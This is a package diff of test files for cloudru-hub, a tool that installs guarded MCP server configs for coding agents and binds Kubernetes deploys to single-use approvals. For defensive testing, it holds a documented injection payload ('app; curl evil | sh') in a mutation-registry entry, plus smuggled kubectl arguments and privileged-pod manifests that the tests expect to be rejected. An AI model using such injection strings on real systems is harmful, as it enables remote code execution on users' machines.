@dzhechkov/cloudru-hub 0.1.12 → 0.1.14

package/test/install.test.mjs

@@ -1,5 +1,5 @@
 // Installer tests — ADR-005 tiering + ADR-004 brake emission with EXECUTED veto.
-import { test } from 'node:test';
+import { after, test } from 'node:test';
 import assert from 'node:assert/strict';
 import fs from 'node:fs';
 import os from 'node:os';
@@ -7,10 +7,21 @@ import path from 'node:path';
 import { createRequire } from 'node:module';
 
 const require = createRequire(import.meta.url);
+const YAML = require('yaml');
 const { install, mergeSettings, claudeSettingsFragment, probeBrake, HOOK_TEMPLATE, TIERS } = require('../src/install.js');
 const { permissionRules } = require('../src/classification.js');
+const pinnedEngine = { path: '/verified/cloudru-vm', verified: true, sha256: require('../data/tools-classification.json').engineSha256 };
 
-const tmp = () => fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-hub-test-'));
+// Every scratch dir is removed at the end (after() + process exit) unless DZ_KEEP_TMP=1 —
+// MEASURED 2026-09-20: 42 cloudru-hub-test-* dirs per full sweep (backlog 7cb6f9b7).
+const created = [];
+const removeCreated = () => {
+  if (process.env.DZ_KEEP_TMP === '1') return;
+  for (const d of created.splice(0)) fs.rmSync(d, { recursive: true, force: true });
+};
+after(removeCreated);
+process.on('exit', removeCreated);
+const tmp = () => { const d = fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-hub-test-')); created.push(d); return d; };
 
 test('claude-code install emits .mcp.json + permission brake + hook, and the veto is EXECUTED', () => {
   const dir = tmp();
@@ -80,7 +91,7 @@ test('install is idempotent — second run does not duplicate rules or hooks', (
 });
 
 test('DEGRADED targets are refused with the ADR-005 reason — never a fake install', () => {
-  for (const target of ['openclaude', 'opencode', 'cursor', 'windsurf', 'copilot']) {
+  for (const target of ['openclaude', 'cursor', 'windsurf', 'copilot']) {
     const dir = tmp();
     const res = install(target, dir);
     assert.equal(res.code, 2, target);
@@ -104,22 +115,235 @@ test('POINTER-ONLY targets get the ≤2048-char pointer with the mandatory no-ve
   }
 });
 
-test('codex is plan-only: prints the user-global steps + mandatory live probe, applies nothing', () => {
+test('codex installs a project-scoped safe server and preserves unrelated TOML', () => {
   const dir = tmp();
+  fs.mkdirSync(path.join(dir, '.codex'));
+  fs.writeFileSync(path.join(dir, '.codex', 'config.toml'), 'model = "other"\n');
   const res = install('codex', dir);
-  assert.equal(res.code, 3);
-  const out = res.lines.join('\n');
-  assert.ok(out.includes('codex mcp add'));
-  assert.ok(out.includes('~/.codex/hooks.json'));
-  assert.ok(out.includes('MANDATORY probe'));
-  assert.equal(fs.readdirSync(dir).length, 0, 'nothing written');
+  assert.equal(res.code, 0, res.lines.join('\n'));
+  const out = fs.readFileSync(path.join(dir, '.codex', 'config.toml'), 'utf8');
+  assert.match(out, /model = "other"/);
+  assert.match(out, /\[mcp_servers\.cloudru_hub\]/);
+  assert.match(out, /mcp-safe/);
+  assert.match(out, /enabled_tools = .*"vm_list"/);
+  assert.match(out, /--toolsets","inventory"/);
+  assert.doesNotMatch(out, /"deploy"/);
+  assert.match(out, /default_tools_approval_mode = "prompt"/);
+  assert.equal(install('codex', dir).code, 0, 'same install is idempotent');
+});
+
+test('OpenCode and Pi install a safe MCP server without replacing unrelated JSON', () => {
+  for (const target of ['opencode', 'pi']) {
+    const dir = tmp();
+    const file = path.join(dir, target === 'pi' ? '.pi/mcp.json' : 'opencode.json');
+    fs.mkdirSync(path.dirname(file), { recursive: true });
+    fs.writeFileSync(file, JSON.stringify(target === 'pi' ? { mcpServers: { other: { command: 'test' } }, theme: 'x' } : { mcp: { other: { type: 'remote', url: 'https://example.com/mcp' } }, theme: 'x' }));
+    assert.equal(install(target, dir).code, 0);
+    const data = JSON.parse(fs.readFileSync(file, 'utf8'));
+    const servers = target === 'pi' ? data.mcpServers : data.mcp;
+    assert.ok(servers.other);
+    assert.equal(data.theme, 'x');
+    assert.match(JSON.stringify(servers.cloudru_hub), /mcp-safe/);
+    assert.equal(install(target, dir).code, 0);
+  }
+});
+
+test('installers refuse a competing raw Cloud.ru server', () => {
+  for (const target of ['codex', 'opencode', 'pi']) {
+    const dir = tmp();
+    if (target === 'codex') {
+      fs.mkdirSync(path.join(dir, '.codex'));
+      fs.writeFileSync(path.join(dir, '.codex/config.toml'), '[mcp_servers.cloudru-vm]\ncommand = "raw"\n');
+    } else {
+      const file = path.join(dir, target === 'pi' ? '.pi/mcp.json' : 'opencode.json');
+      fs.mkdirSync(path.dirname(file), { recursive: true });
+      fs.writeFileSync(file, JSON.stringify(target === 'pi' ? { mcpServers: { 'cloudru-vm': {} } } : { mcp: { 'cloudru-vm': {} } }));
+    }
+    assert.equal(install(target, dir).code, 2, target);
+  }
+});
+
+test('Codex refuses quoted and inline TOML MCP declarations before changing the file', () => {
+  const variants = [
+    '[mcp_servers."cloudru-vm"]\ncommand = "raw"\n',
+    '[mcp_servers."cloudru_hub"]\ncommand = "raw"\n',
+    'mcp_servers = { cloudru_hub = { command = "raw" } }\n',
+    '["\\u006dcp_servers"."cloudru-vm"]\ncommand = "raw"\n',
+  ];
+  for (const source of variants) {
+    const dir = tmp();
+    const file = path.join(dir, '.codex/config.toml');
+    fs.mkdirSync(path.dirname(file));
+    fs.writeFileSync(file, source);
+    const res = install('codex', dir);
+    assert.equal(res.code, 2, source);
+    assert.equal(fs.readFileSync(file, 'utf8'), source);
+  }
+});
+
+test('Hermes installs a guarded nonempty include list without changing unrelated YAML', () => {
+  const dir = tmp();
+  const file = path.join(dir, 'config.yaml');
+  const source = 'plugins:\n  enabled: true\nmcp_servers:\n  github:\n    command: "other"\nagent:\n  model: "test"\n';
+  fs.writeFileSync(file, source);
+  const res = install('hermes', dir, { hermesHome: dir, resolvedEngine: pinnedEngine });
+  assert.equal(res.code, 0, res.lines.join('\n'));
+  const out = fs.readFileSync(file, 'utf8');
+  assert.deepEqual(Object.keys(YAML.parse(out).mcp_servers).sort(), ['cloudru_hub', 'github']);
+  assert.match(out, /mcp-safe/);
+  assert.match(out, /vm_list/);
+  assert.match(out, /--toolsets/);
+  assert.match(out, /include: \[/);
+  assert.equal(YAML.parse(out).mcp_servers.cloudru_hub.env.CLOUDRU_VM_BIN, pinnedEngine.path);
+  assert.doesNotMatch(out, /"deploy"/);
+  assert.match(out, /plugins:\n  enabled: true/);
+  assert.match(out, /  github:\n    command: "other"/);
+  assert.match(out, /agent:\n  model: "test"/);
+  assert.equal(install('hermes', dir, { hermesHome: dir, resolvedEngine: pinnedEngine }).code, 0);
+  assert.equal(fs.readFileSync(file, 'utf8'), out, 'second install is idempotent');
+});
+
+test('Hermes keeps valid comments and refuses a flow-root document', () => {
+  const commented = tmp();
+  const file = path.join(commented, 'config.yaml');
+  fs.writeFileSync(file, 'mcp_servers:\n  other:\n    command: harmless\n # explanatory comment\n');
+  assert.equal(install('hermes', commented, { hermesHome: commented, resolvedEngine: pinnedEngine }).code, 0);
+  assert.equal(YAML.parse(fs.readFileSync(file, 'utf8')).mcp_servers.other.command, 'harmless');
+  assert.equal(YAML.parse(fs.readFileSync(file, 'utf8')).mcp_servers.cloudru_hub.tools.include.length, 11);
+
+  const flow = tmp();
+  const flowFile = path.join(flow, 'config.yaml');
+  fs.writeFileSync(flowFile, '{ model: harmless }\n');
+  assert.equal(install('hermes', flow, { hermesHome: flow }).code, 2);
+  assert.equal(fs.readFileSync(flowFile, 'utf8'), '{ model: harmless }\n');
+});
+
+test('Hermes refuses missing or hash-mismatched engine without writing config', () => {
+  for (const resolvedEngine of [
+    { error: 'engine absent' },
+    { ...pinnedEngine, sha256: '0'.repeat(64) },
+    { ...pinnedEngine, verified: false },
+  ]) {
+    const dir = tmp();
+    const file = path.join(dir, 'config.yaml');
+    fs.writeFileSync(file, 'agent:\n  model: test\n');
+    const res = install('hermes', dir, { hermesHome: dir, resolvedEngine });
+    assert.equal(res.code, 2);
+    assert.equal(fs.readFileSync(file, 'utf8'), 'agent:\n  model: test\n');
+  }
+});
+
+test('Hermes refuses raw Cloud.ru entries and complex YAML without writing', () => {
+  for (const source of [
+    'mcp_servers:\n  cloudru-vm:\n    command: raw\n',
+    'mcp_servers: {cloudru_hub: {command: raw}}\n',
+    'mcp_servers: &servers\n  github: {}\n',
+    'mcp_servers:\n  other:\n    command: harmless\n# comment\n  cloudru-vm:\n    command: raw\n',
+    'mcp_servers:\n  other:\n    command: harmless\n"mcp_servers":\n  cloudru-vm:\n    command: raw\n',
+  ]) {
+    const dir = tmp();
+    const file = path.join(dir, 'config.yaml');
+    fs.writeFileSync(file, source);
+    assert.equal(install('hermes', dir, { hermesHome: dir }).code, 2, source);
+    assert.equal(fs.readFileSync(file, 'utf8'), source);
+  }
+});
+
+test('toolset selection validates before install and limits Codex enabled_tools', () => {
+  const dir = tmp();
+  const invalid = install('codex', dir, { toolsets: 'inventory,all' });
+  assert.equal(invalid.code, 1);
+  assert.deepEqual(fs.readdirSync(dir), []);
+  const ok = install('codex', dir, { toolsets: 'billing' });
+  assert.equal(ok.code, 0);
+  const config = fs.readFileSync(path.join(dir, '.codex/config.toml'), 'utf8');
+  assert.match(config, /billing_balance/);
+  assert.doesNotMatch(config, /vm_list/);
+  assert.match(config, /CLOUDRU_HUB_CREDENTIALS/);
+  assert.match(config, /CLOUDRU_AGREEMENT_ID/);
+  assert.match(config, /CLOUDRU_KEY_ID/);
+});
+
+test('vm-deploy installs guarded tools and long-call timeouts for Codex, Hermes, OpenCode and Pi', () => {
+  const codexDir = tmp();
+  assert.equal(install('codex', codexDir, { toolsets: 'vm-deploy' }).code, 0);
+  const config = fs.readFileSync(path.join(codexDir, '.codex/config.toml'), 'utf8');
+  for (const name of ['deploy_plan', 'deploy_apply', 'vm_exec']) assert.match(config, new RegExp(`"${name}"`));
+  for (const name of ['destroy', 'secret_value', 'stack_apply']) assert.doesNotMatch(config, new RegExp(`"${name}"`));
+  assert.match(config, /--toolsets","vm-deploy"/);
+  assert.match(config, /tool_timeout_sec = 1200/);
+  assert.match(config, /env_vars = \["CLOUDRU_VM_BIN","CLOUDRU_HUB_CREDENTIALS","CLOUDRU_VM_HOME","CLOUDRU_HUB_APPROVALS"\]/);
+  assert.match(config, /default_tools_approval_mode = "auto"/);
+
+  const hermesDir = tmp();
+  assert.equal(install('hermes', hermesDir, { hermesHome: hermesDir, toolsets: 'vm-deploy', resolvedEngine: pinnedEngine }).code, 0);
+  const yaml = YAML.parse(fs.readFileSync(path.join(hermesDir, 'config.yaml'), 'utf8'));
+  assert.ok(yaml.mcp_servers.cloudru_hub.tools.include.includes('deploy_apply'));
+  assert.ok(!yaml.mcp_servers.cloudru_hub.tools.include.includes('destroy'));
+  assert.equal(yaml.mcp_servers.cloudru_hub.timeout, 1200);
+
+  const opencodeDir = tmp();
+  assert.equal(install('opencode', opencodeDir, { toolsets: 'vm-deploy' }).code, 0);
+  const opencode = JSON.parse(fs.readFileSync(path.join(opencodeDir, 'opencode.json'), 'utf8'));
+  assert.equal(opencode.mcp.cloudru_hub.timeout, 1_200_000, 'OpenCode uses milliseconds');
+  assert.equal(install('opencode', opencodeDir, { toolsets: 'vm-deploy' }).code, 0);
+
+  const piDir = tmp();
+  assert.equal(install('pi', piDir, { toolsets: 'vm-deploy' }).code, 0);
+  const pi = JSON.parse(fs.readFileSync(path.join(piDir, '.pi/mcp.json'), 'utf8'));
+  assert.equal(pi.mcpServers.cloudru_hub.timeout, 1200, 'Pi uses seconds');
+  assert.equal(install('pi', piDir, { toolsets: 'vm-deploy' }).code, 0);
+});
+
+test('k8s-deploy installs the bounded profile across five hosts and refuses a raw Claude server', () => {
+  const codexDir = tmp();
+  assert.equal(install('codex', codexDir, { toolsets: 'k8s-deploy' }).code, 0);
+  const codex = fs.readFileSync(path.join(codexDir, '.codex/config.toml'), 'utf8');
+  assert.match(codex, /k8s-deploy/);
+  assert.match(codex, /tool_timeout_sec = 1200/);
+  assert.doesNotMatch(codex, /k8s_create/);
+
+  const hermesDir = tmp();
+  assert.equal(install('hermes', hermesDir, { toolsets: 'k8s-deploy', hermesHome: hermesDir, resolvedEngine: pinnedEngine }).code, 0);
+  const hermes = YAML.parse(fs.readFileSync(path.join(hermesDir, 'config.yaml'), 'utf8'));
+  assert.deepEqual(hermes.mcp_servers.cloudru_hub.tools.include, ['k8s_apply', 'k8s_get', 'k8s_kubectl', 'k8s_list', 'k8s_nodepools', 'k8s_options']);
+  assert.equal(hermes.mcp_servers.cloudru_hub.timeout, 1200);
+
+  const opencodeDir = tmp();
+  assert.equal(install('opencode', opencodeDir, { toolsets: 'k8s-deploy' }).code, 0);
+  assert.equal(JSON.parse(fs.readFileSync(path.join(opencodeDir, 'opencode.json'), 'utf8')).mcp.cloudru_hub.timeout, 1_200_000);
+
+  const piDir = tmp();
+  assert.equal(install('pi', piDir, { toolsets: 'k8s-deploy' }).code, 0);
+  assert.equal(JSON.parse(fs.readFileSync(path.join(piDir, '.pi/mcp.json'), 'utf8')).mcpServers.cloudru_hub.timeout, 1200);
+
+  const claudeDir = tmp();
+  assert.equal(install('claude-code', claudeDir, { toolsets: 'k8s-deploy' }).code, 0);
+  const mcp = JSON.parse(fs.readFileSync(path.join(claudeDir, '.mcp.json'), 'utf8'));
+  assert.ok(mcp.mcpServers.cloudru_hub.args.includes('k8s-deploy'));
+  assert.equal(mcp.mcpServers['cloudru-vm'], undefined);
+  assert.deepEqual(JSON.parse(fs.readFileSync(path.join(claudeDir, '.claude/settings.json'), 'utf8')).enabledMcpjsonServers, ['cloudru_hub']);
+  assert.equal(install('claude-code', claudeDir, { toolsets: 'k8s-deploy' }).code, 0);
+  assert.equal(install('claude-code', claudeDir, { toolsets: 'k8s-deploy', npx: true }).code, 2);
+  const rawDir = tmp();
+  fs.writeFileSync(path.join(rawDir, '.mcp.json'), JSON.stringify({ mcpServers: { 'cloudru-vm': { command: 'unsafe' } } }));
+  assert.equal(install('claude-code', rawDir, { toolsets: 'k8s-deploy' }).code, 2);
+  const invalidMcp = tmp();
+  fs.writeFileSync(path.join(invalidMcp, '.mcp.json'), '[]\n');
+  assert.equal(install('claude-code', invalidMcp, { toolsets: 'k8s-deploy' }).code, 2);
+  assert.equal(fs.readFileSync(path.join(invalidMcp, '.mcp.json'), 'utf8'), '[]\n');
+  const invalidSettings = tmp();
+  fs.mkdirSync(path.join(invalidSettings, '.claude'));
+  fs.writeFileSync(path.join(invalidSettings, '.claude/settings.json'), '[]\n');
+  assert.equal(install('claude-code', invalidSettings, { toolsets: 'k8s-deploy' }).code, 2);
+  assert.equal(fs.readFileSync(path.join(invalidSettings, '.claude/settings.json'), 'utf8'), '[]\n');
 });
 
 test('unknown target is an error listing the known ones', () => {
   const res = install('emacs', tmp());
   assert.equal(res.code, 1);
   assert.ok(res.lines[0].includes('unknown target'));
-  assert.equal(Object.keys(TIERS).length, 9);
+  assert.equal(Object.keys(TIERS).length, 11);
 });
 
 test('probeBrake discriminates: a hook that stops vetoing FAILS the probe (broken-brake control)', () => {

package/test/k8s-approval.test.mjs

@@ -0,0 +1,125 @@
+import { after, test } from 'node:test';
+import assert from 'node:assert/strict';
+import fs from 'node:fs';
+import os from 'node:os';
+import path from 'node:path';
+import { spawnSync } from 'node:child_process';
+import { createRequire } from 'node:module';
+
+const require = createRequire(import.meta.url);
+const YAML = require('yaml');
+const cls = require('../data/tools-classification.json');
+const { selectedToolNames } = require('../src/toolsets.js');
+const { PILOT_IMAGE, validateManifest, issueK8sApproval, consumeK8sApproval, k8sSession } = require('../src/k8s-approval.js');
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-k8s-approval-'));
+after(() => fs.rmSync(scratch, { recursive: true, force: true }));
+const clusterId = '11111111-2222-4333-8444-555555555555';
+const projectId = 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee';
+const credentials = path.join(scratch, 'credentials.json');
+fs.writeFileSync(credentials, JSON.stringify({ key_id: 'test-only', secret: 'test-only', project_id: projectId }), { mode: 0o600 });
+const env = { ...process.env, CLOUDRU_HUB_CREDENTIALS: credentials, CLOUDRU_HUB_APPROVALS: path.join(scratch, 'approvals') };
+
+function docs() {
+  const metadata = (name) => ({ name, namespace: 'snake-pilot' });
+  const app = 'snake-game';
+  return [
+    { apiVersion: 'v1', kind: 'ConfigMap', metadata: metadata('snake-game-html'), data: { 'index.html': '<!doctype html><title>Snake</title>' } },
+    { apiVersion: 'apps/v1', kind: 'Deployment', metadata: metadata(app), spec: {
+      replicas: 1, selector: { matchLabels: { app } }, template: { metadata: { labels: { app } }, spec: {
+        automountServiceAccountToken: false, securityContext: { runAsNonRoot: true },
+        containers: [{ name: app, image: PILOT_IMAGE, command: ['httpd'], args: ['-f', '-p', '8080', '-h', '/www'],
+          ports: [{ containerPort: 8080 }], readinessProbe: { httpGet: { path: '/', port: 8080 } },
+          resources: { requests: { cpu: '50m', memory: '32Mi' }, limits: { cpu: '100m', memory: '64Mi' } },
+          securityContext: { allowPrivilegeEscalation: false, readOnlyRootFilesystem: true, runAsUser: 10001, runAsGroup: 10001, capabilities: { drop: ['ALL'] } },
+          volumeMounts: [{ name: 'html', mountPath: '/www', readOnly: true }] }],
+        volumes: [{ name: 'html', configMap: { name: 'snake-game-html' } }],
+      } } } },
+    { apiVersion: 'v1', kind: 'Service', metadata: metadata(app), spec: { type: 'ClusterIP', selector: { app }, ports: [{ port: 80, targetPort: 8080 }] } },
+  ];
+}
+const serialize = (resources) => resources.map((r) => YAML.stringify(r)).join('---\n');
+const manifest = serialize(docs());
+const digest = require('crypto').createHash('sha256').update(manifest).digest('hex');
+const manifestFile = path.join(scratch, 'snake.yaml');
+fs.writeFileSync(manifestFile, manifest);
+
+test('bounded Kubernetes manifest accepts exactly the reviewed pod-native resources', () => {
+  assert.deepEqual(validateManifest(manifest, 'snake-pilot').resources.map((r) => r.kind), ['ConfigMap', 'Deployment', 'Service']);
+  assert.deepEqual(selectedToolNames('k8s-deploy'), ['k8s_apply', 'k8s_get', 'k8s_kubectl', 'k8s_list', 'k8s_nodepools', 'k8s_options']);
+  for (const name of selectedToolNames('k8s-deploy')) {
+    assert.equal(cls.tools[name].permission, ['k8s_apply', 'k8s_kubectl'].includes(name) ? 'ask' : 'allow');
+  }
+});
+
+test('unexpected mutators, exposure, privilege, image and namespace are rejected', () => {
+  const mutations = [
+    (r) => { r[1].spec.template.spec.volumes.push({ name: 'host', hostPath: { path: '/etc' } }); },
+    (r) => { r[1].spec.template.spec.containers[0].securityContext.privileged = true; },
+    (r) => { r[1].spec.template.spec.containers[0].command = ['sh']; },
+    (r) => { r[1].spec.template.spec.containers[0].image = 'docker.io/library/busybox@sha256:' + 'f'.repeat(64); },
+    (r) => { r[2].spec.type = 'LoadBalancer'; },
+    (r) => { r[0].metadata.namespace = 'default'; },
+    (r) => { r.push({ apiVersion: 'v1', kind: 'Secret', metadata: { name: 's', namespace: 'snake-pilot' } }); },
+  ];
+  for (const mutate of mutations) {
+    const r = docs(); mutate(r);
+    assert.throws(() => validateManifest(serialize(r), 'snake-pilot'));
+  }
+});
+
+test('digest, project, expiry and single-use approval bind the exact manifest', () => {
+  assert.throws(() => issueK8sApproval(clusterId, 'snake-pilot', manifestFile, '0'.repeat(64), env), /digest differs/);
+  const a = issueK8sApproval(clusterId, 'snake-pilot', manifestFile, digest, env, 1000);
+  assert.equal(a.manifestSha256, digest);
+  const used = consumeK8sApproval(a.approvalId, env, 1100);
+  assert.equal(used.manifest, manifest);
+  assert.equal(k8sSession(a.approvalId, env, 1200).namespace, 'snake-pilot');
+  assert.throws(() => consumeK8sApproval(a.approvalId, env, 1200));
+  const b = issueK8sApproval(clusterId, 'snake-pilot', manifestFile, digest, env, 2000);
+  const otherCredentials = path.join(scratch, 'other.json');
+  fs.writeFileSync(otherCredentials, JSON.stringify({ key_id: 'test-other', secret: 'test-other', project_id: 'ffffffff-eeee-4ddd-8ccc-bbbbbbbbbbbb' }), { mode: 0o600 });
+  assert.throws(() => consumeK8sApproval(b.approvalId, { ...env, CLOUDRU_HUB_CREDENTIALS: otherCredentials }, 2100), /does not match/);
+  assert.throws(() => consumeK8sApproval(b.approvalId, env, 2000 + 10 * 60_000));
+});
+
+test('MCP proxy forwards only locally approved apply and four fixed verification queries', () => {
+  const a = issueK8sApproval(clusterId, 'snake-pilot', manifestFile, digest, env);
+  const engine = path.join(scratch, 'fake-engine');
+  const log = path.join(scratch, 'forwarded.jsonl');
+  fs.writeFileSync(engine, `#!/usr/bin/env node
+const fs=require('fs');let b='';process.stdin.setEncoding('utf8');process.stdin.on('data',x=>{b+=x;let i;while((i=b.indexOf('\\n'))>=0){const line=b.slice(0,i);b=b.slice(i+1);if(!line)continue;const m=JSON.parse(line);fs.appendFileSync(process.env.FAKE_LOG,JSON.stringify(m)+'\\n');if(!Object.hasOwn(m,'id'))continue;let result={};if(m.method==='tools/list')result={tools:[{name:'k8s_apply'},{name:'k8s_kubectl'},{name:'k8s_create'}]};else result={content:[{type:'text',text:'{"status":"applied"}'}]};process.stdout.write(JSON.stringify({jsonrpc:'2.0',id:m.id,result})+'\\n');}});
+`);
+  fs.chmodSync(engine, 0o755);
+  const script = `const {runSafeMcp}=require(${JSON.stringify(path.resolve(import.meta.dirname, '../src/safe-mcp.js'))});runSafeMcp({toolsets:'k8s-deploy',resolved:{path:${JSON.stringify(engine)},verified:true,sha256:${JSON.stringify(cls.engineSha256)}}});`;
+  const msg = (id, name, args) => JSON.stringify({ jsonrpc: '2.0', id, method: 'tools/call', params: { name, arguments: args } });
+  const lines = [
+    JSON.stringify({ jsonrpc: '2.0', id: 1, method: 'tools/list' }),
+    msg(2, 'k8s_apply', { approval_id: a.approvalId, cluster_id: 'wrong', confirmed: true }),
+    msg(3, 'k8s_apply', { approval_id: a.approvalId }),
+    msg(4, 'k8s_apply', { approval_id: a.approvalId }),
+    msg(5, 'k8s_kubectl', { approval_id: a.approvalId, query: 'delete' }),
+    msg(6, 'k8s_kubectl', { approval_id: a.approvalId, query: 'pods', args: 'delete pods -A' }),
+    msg(7, 'k8s_kubectl', { approval_id: a.approvalId, query: 'pods' }),
+    msg(8, 'k8s_kubectl', { approval_id: a.approvalId, query: 'deployment' }),
+    msg(9, 'k8s_kubectl', { approval_id: a.approvalId, query: 'service' }),
+    msg(10, 'k8s_kubectl', { approval_id: a.approvalId, query: 'rollout' }),
+    msg(11, 'k8s_create', { confirmed: true }),
+    msg(12, 'k8s_apply', { approval_id: a.approvalId, create_only: false }),
+  ];
+  fs.writeFileSync(log, '');
+  const r = spawnSync(process.execPath, ['-e', script], { input: lines.join('\n') + '\n', encoding: 'utf8', timeout: 5000,
+    env: { ...env, FAKE_LOG: log } });
+  assert.equal(r.status, 0, r.stderr);
+  const responses = r.stdout.trim().split('\n').map(JSON.parse);
+  const byId = Object.fromEntries(responses.map((x) => [x.id, x]));
+  assert.deepEqual(byId[1].result.tools.map((x) => x.name), ['k8s_apply', 'k8s_kubectl']);
+  assert.deepEqual(Object.keys(byId[1].result.tools[0].inputSchema.properties), ['approval_id']);
+  for (const id of [2, 4, 5, 6, 11, 12]) assert.ok(byId[id].error, `request ${id} rejected`);
+  const forwarded = fs.readFileSync(log, 'utf8').trim().split('\n').map(JSON.parse).filter((x) => x.method === 'tools/call');
+  assert.deepEqual(forwarded.map((x) => x.params.name), ['k8s_apply', 'k8s_kubectl', 'k8s_kubectl', 'k8s_kubectl', 'k8s_kubectl']);
+  assert.deepEqual(forwarded[0].params.arguments, { cluster_id: clusterId, namespace: 'snake-pilot', manifest, create_only: true, confirmed: true });
+  assert.deepEqual(forwarded[1].params.arguments, { cluster_id: clusterId, args: '-n snake-pilot get pods -l app=snake-game -o json' });
+  assert.deepEqual(forwarded[2].params.arguments, { cluster_id: clusterId, args: '-n snake-pilot get deployment snake-game -o json' });
+  assert.deepEqual(forwarded[3].params.arguments, { cluster_id: clusterId, args: '-n snake-pilot get service snake-game -o json' });
+  assert.deepEqual(forwarded[4].params.arguments, { cluster_id: clusterId, args: '-n snake-pilot rollout status deployment/snake-game --timeout=90s' });
+});

package/test/mutation-registry.json

@@ -74,18 +74,18 @@
       "minFailing": 1
     },
     {
-      "id": "brake-stack-status-stays-ask",
-      "property": "stack_status ADVANCES a planned/running stack job server-side (handleStackStatus tools_stack.go:451 → advance :479-484 → s.callTool :220 invokes provision/pg_create/… — LIVE-REPRODUCED: one call moved a planned job planned→running and attempted provision, stopped only at AUTH_REQUIRED). Flipping it back to allow re-opens the zero-prompt paid chain stack_plan→stack_status and must go red (ADR-004 AM-1, cross-model QE HIGH).",
+      "id": "stack-status-remains-observational",
+      "property": "After the engine fix, stack_status reads persisted job state without advancing steps; stack_apply remains the explicitly gated mutation. Reclassifying status as ask loses the read-only contract and must fail the golden test.",
       "file": "data/tools-classification.json",
       "mutation": {
-        "find": "\"stack_status\": {\n      \"effect\": \"mutating\",\n      \"permission\": \"ask\",",
-        "replace": "\"stack_status\": {\n      \"effect\": \"mutating\",\n      \"permission\": \"allow\","
+        "find": "\"stack_status\": {\n      \"effect\": \"read-only\",\n      \"permission\": \"allow\",",
+        "replace": "\"stack_status\": {\n      \"effect\": \"read-only\",\n      \"permission\": \"ask\","
       },
-      "minFailing": 2
+      "minFailing": 1
     },
     {
       "id": "brake-logs-stays-ask",
-      "property": "logs concatenates its user-controlled `service` arg RAW into a remote `docker compose logs <service>` executed over SSH (handleLogs tools.go:1758 → engine/logs.go:61 `cmd += \" \" + opts.Service` → Deployer.Exec logs.go:64 → session.CombinedOutput internal/deploy/ssh.go:117), so service=\"app; curl evil | sh\" is arbitrary RCE on the user's VM. Flipping it back to allow puts a zero-prompt command-injection path behind a SILENT allow and must go red (ADR-004 AM-2, shell-reach hazard axis, cross-model QE HIGH).",
+      "property": "The pinned engine quotes logs.service before remote execution, but logs still reaches SSH/compose and can disclose sensitive output. Flipping its classification from ask to allow violates the reviewed shell-reach boundary.",
       "file": "data/tools-classification.json",
       "mutation": {
         "find": "\"logs\": {\n      \"effect\": \"shell-reach\",\n      \"permission\": \"ask\",",

package/test/pack-holds.test.mjs

@@ -1,14 +1,12 @@
-// The iron guardrails as layer-1 tests (feature hermes-claude-adaptation) — POST-GRANT state.
-// ADR-001 AM-2 (2026-08-12): the Hermes author's publication approval is recorded
-// (features/hermes-claude-adaptation/03_adr/grant-record-2026-08-12.md), the hold is
-// SATISFIED. The hold-era protections (private:true, PENDING placeholder, EPRIVATE probe)
+// The iron guardrails as layer-1 tests (feature hermes-claude-adaptation).
+// ADR-001 AM-3 (2026-10-20) corrects the historical engine attribution.
+// The hold-era protections (private:true, PENDING placeholder, EPRIVATE probe)
 // retired; what must now hold forever:
-//   1. LICENSE carries the recorded grant (Grant-Confirmation URL), honest attribution,
-//      and NO fabricated grant wording on the author's behalf.
+//   1. LICENSE links the corrected provenance record, credits API validation,
+//      and does not assign Go source authorship to the API tester.
 //   2. The `licenseHold` trigger field STAYS so the dz guard `licence-hold` rule keeps
 //      verifying LICENSE/NOTICES/SPDX on every publish (a satisfied hold passes with it).
-//   3. package.json.license matches the SPDX id of the actual LICENSE text (ADR-001
-//      Confirmation), and covers ONLY the owner's code.
+//   3. package.json.license matches the SPDX id of the actual LICENSE text.
 //   4. ZERO upstream engine bytes in the tarball — unchanged.
 // Discrimination: test/mutation-registry.json flips each protection and requires red here.
 import { test } from 'node:test';
@@ -24,22 +22,22 @@ const license = fs.readFileSync(path.join(pkgDir, 'LICENSE'), 'utf8');
 
 const PENDING_MARKER = '<!-- PENDING:';
 
-test('LICENSE is post-grant and honest: no PENDING placeholder, grant recorded with a confirmation link, no fabricated grant wording', () => {
+test('LICENSE preserves MIT text and links the corrected provenance record', () => {
   assert.ok(license.length > 400);
   assert.ok(license.includes('MIT License'), 'owner code is MIT');
   assert.ok(license.includes('Dmitry Zhechkov'), 'owner copyright line');
   assert.ok(!license.includes(PENDING_MARKER), 'the PENDING placeholder must be gone post-grant');
-  assert.match(license, /GRANT RECORDED/, 'the grant record paragraph exists');
-  assert.match(license, /Grant-Confirmation:\s*https?:\/\/\S+/, 'the Grant-Confirmation line carries a URL (dz guard licence-hold requires it)');
-  assert.match(license, /owner-attested/, 'honesty: the approval is stated as owner-attested, not as a written artifact we do not hold');
+  assert.match(license, /Grant-Confirmation:\s*https?:\/\/\S+/, 'the provenance record link is present (dz guard licence-hold requires it)');
+  assert.match(license, /corrected attribution record/, 'the superseding attribution correction is linked');
   assert.ok(!/Hermes author(.|\n){0,120}hereby grants/i.test(license), 'no fabricated grant wording');
   assert.ok(!/hereby grants/i.test(license), 'no grant-deed language fabricated on anyone’s behalf');
 });
 
-test('LICENSE attribution chain (owner condition + ADR-001 AM-1): engine additions credited to their author, CLI foundation to the owner, zero engine bytes', () => {
-  assert.ok(license.includes('Тимур'), 'the Hermes engine author is credited by name');
-  assert.match(license, /ZERO bytes of the engine additions|ZERO bytes of them/, 'zero-engine-bytes statement present');
-  assert.match(license, /nothing in this file grants any\s+third party rights to the engine additions/, 'no rights to engine additions are granted by this LICENSE');
+test('LICENSE credits Timur for API validation', () => {
+  assert.ok(license.includes('Тимур'), 'the API tester is credited by name');
+  assert.match(license, /API testing/, 'the contribution is specified');
+  assert.doesNotMatch(license, /(?:Timur|Тимур).{0,100}(?:author|authored)/i, 'no unsupported source authorship claim');
+  assert.match(license, /ZERO bytes of the Go engine/, 'the launcher still contains no engine bytes');
 });
 
 test('the licenseHold trigger for the dz guard rule STAYS declared post-grant (satisfied hold passes with it in place)', () => {

package/test/resolve.test.mjs

@@ -1,17 +1,37 @@
 // Engine resolution tests — ADR-002: runtime resolution, sha256 pin, loud esbuild-style error.
-import { test } from 'node:test';
+import { after, test } from 'node:test';
 import assert from 'node:assert/strict';
 import fs from 'node:fs';
 import os from 'node:os';
 import path from 'node:path';
 import crypto from 'node:crypto';
